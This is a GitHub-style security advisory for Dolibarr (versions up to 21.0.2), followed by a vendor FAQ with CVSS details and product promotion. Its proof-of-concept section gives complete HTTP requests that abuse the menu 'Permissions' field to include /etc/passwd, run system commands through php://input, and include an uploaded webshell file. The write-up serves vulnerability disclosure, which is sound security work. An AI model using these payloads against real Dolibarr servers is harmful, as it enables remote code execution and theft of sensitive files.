GHSA-49XW-HW94-FMV2

The Dolibarr backend provides the function of adding Menu, and supports setting permissions for the added Menu:

This is the trigger point of the vulnerability. The submitted permission can be php code, and it will be executed when viewing the created Menu:

• htdocs/admin/menus/edit.php

As you can see, in edit.php, if the created menu is set to $menu->perms, the dol_eval() method will be called. Following the dol_eval() method, we can see that it will filter the dangerous php functions in $menu->perms through the blacklist set in $forbiddenphpfunctions:

However, the blacklist here is not comprehensive. For example, the include_once and require_once functions can easily pass the blacklist check, which will cause file inclusion vulnerabilities. Moreover, if the allow_url_include option is enabled in php.ini, arbitrary code execution will occur. The most serious thing is that we can cooperate with the file upload at /htdocs/user/document.php?id=1&uploadform=1 to achieve more general arbitrary code execution.

Proof of Concept

Local File Inclusion

(1) First, create a Menu and set "Permissions" to include_once('/etc/passwd') (note that '' must be used here because " will be detected):

POST /htdocs/admin/menus/edit.php?action=add&token=fae63868ce9c2a7eece04a49ffdbe23f&menuId=0 HTTP/1.1
Host: 192.168.31.31
Content-Length: 210
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://192.168.31.31
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://192.168.31.31/htdocs/admin/menus/edit.php?menuId=0&action=create&menu_handler=all&backtopage=%2Fhtdocs%2Fadmin%2Fmenus%2Findex.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,ru;q=0.7,ja;q=0.6
Cookie: DOLSESSID_cc5001a0224d79c07308a0908c6213b79e5d7d10=82ef3f1d798bf58a0e11c0cbacc390dd
Connection: close

token=fae63868ce9c2a7eece04a49ffdbe23f&menu_handler=all&user=2&type=top&propertymainmenu=test1test&titre=test1test&url=test1test&langs=&position=100&target=&enabled=1&perms=include_once('/etc/passwd')&save=Save

(2) Then we look at the Menu we just created, and we can see that the contents of /etc/passwd have been successfully read out:

Remote Code Execution - 1

(1) We first ensure that the allow_url_include option of php.ini on the server is On:

At this point, we can use remote file inclusion and cooperate with php://input to achieve arbitrary code execution.

(2) Create a Menu and set "Permissions" to include_once('php://input') (note that '' must be used here because " will be detected):

POST /htdocs/admin/menus/edit.php?action=add&token=fae63868ce9c2a7eece04a49ffdbe23f&menuId=0 HTTP/1.1
Host: 192.168.31.31
Content-Length: 210
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://192.168.31.31
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://192.168.31.31/htdocs/admin/menus/edit.php?menuId=0&action=create&menu_handler=all&backtopage=%2Fhtdocs%2Fadmin%2Fmenus%2Findex.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,ru;q=0.7,ja;q=0.6
Cookie: DOLSESSID_cc5001a0224d79c07308a0908c6213b79e5d7d10=82ef3f1d798bf58a0e11c0cbacc390dd
Connection: close

token=fae63868ce9c2a7eece04a49ffdbe23f&menu_handler=all&user=2&type=top&propertymainmenu=test1test&titre=test1test&url=test1test&langs=&position=100&target=&enabled=1&perms=include_once('php://input')&save=Save

(3) Finally, the system command is successfully executed through the POST request:

POST http://192.168.31.31/htdocs/admin/menus/edit.php?menu_handler=all&action=edit&token=fae63868ce9c2a7eece04a49ffdbe23f&menuId=24 HTTP/1.1
Host: 192.168.31.31
Content-Length: 27
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://192.168.31.31
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://192.168.31.31/index.php?url=/etc/passwd
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,ru;q=0.7,ja;q=0.6
Cookie: DOLSESSID_cc5001a0224d79c07308a0908c6213b79e5d7d10=82ef3f1d798bf58a0e11c0cbacc390dd
Connection: close

<?php system('ls -al /');?>

Remote Code Execution - 2 (File Inclusion with file upload)

At this point, we are absolutely sure that a file inclusion vulnerability can be achieved by setting "Permissions", and arbitrary code execution can be achieved with allow_url_include = On. However, the setting allow_url_include = On does not exist on every server. Therefore, to achieve the purpose of universal arbitrary code execution, we need to cooperate with the file upload (without suffix) function.

(1) We can upload a file containing php webshell code through the "Attach a new file/document" function in /htdocs/user/document.php?id=1&uploadform=1. The file name is "shell" (this file There must be no suffix, otherwise the detection of . by dol_eval() cannot be bypassed when setting "Permissions" later. Among all file upload points, only "Attach a new file/document" can be Upload files without suffix):

(2) upload the "shell":

Images uploaded from here will eventually be saved on the server in the "/var/www/html/documents/users/1/" directory:

（3）create a Menu and set "Permissions" to include_once('/var/www/html/documents/users/1/shell') (note that '' must be used here because " will be detected).

POST /htdocs/admin/menus/edit.php?action=add&token=fae63868ce9c2a7eece04a49ffdbe23f&menuId=0 HTTP/1.1
Host: 192.168.31.31
Content-Length: 210
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://192.168.31.31
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://192.168.31.31/htdocs/admin/menus/edit.php?menuId=0&action=create&menu_handler=all&backtopage=%2Fhtdocs%2Fadmin%2Fmenus%2Findex.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,ru;q=0.7,ja;q=0.6
Cookie: DOLSESSID_cc5001a0224d79c07308a0908c6213b79e5d7d10=82ef3f1d798bf58a0e11c0cbacc390dd
Connection: close

token=e71337659d7cbae16b0279b4e04535aa&menu_handler=all&user=2&type=left&propertymainmenu=whaoamia&menuIdParent=123&titre=whaoamia&picto=whaoamia&url=whaoamia&langs=&position=100&enabled=1&perms=include_once('/var/www/html/documents/users/1/shell')&target=&save=Save

(4) Finally, when we access the Menu we just created, we can find that the "/var/www/html/documents/users/1/shell" file is included:

Finally, arbitrary code execution was successfully achieved:

Say it at the end

If you confirm the vulnerability, please apply for a CVE to notify all users to update.

This vulnerability can run arbitrary commands in the file system and read sensitive files.

GHSA-49XW-HW94-FMV2 has a CVSS score of 8.8 (High). The vector is network-reachable, low privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. No fixed version is listed yet, so configuration controls and monitoring matter more in the interim.

Kodem intelligence

1. What is GHSA-49XW-HW94-FMV2? GHSA-49XW-HW94-FMV2 is a high-severity security vulnerability in dolibarr/dolibarr (composer), affecting versions <= 21.0.2. No fixed version is listed yet.
2. How severe is GHSA-49XW-HW94-FMV2? GHSA-49XW-HW94-FMV2 has a CVSS score of 8.8 (High). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
3. Which versions of dolibarr/dolibarr are affected by GHSA-49XW-HW94-FMV2? dolibarr/dolibarr (composer) versions <= 21.0.2 is affected.
4. Is there a fix for GHSA-49XW-HW94-FMV2? No fixed version is listed for GHSA-49XW-HW94-FMV2 yet. Monitor the advisory for updates and apply mitigations in the interim.
5. Is GHSA-49XW-HW94-FMV2 exploitable, and should I be worried? Whether GHSA-49XW-HW94-FMV2 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
6. What actually determines whether GHSA-49XW-HW94-FMV2 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.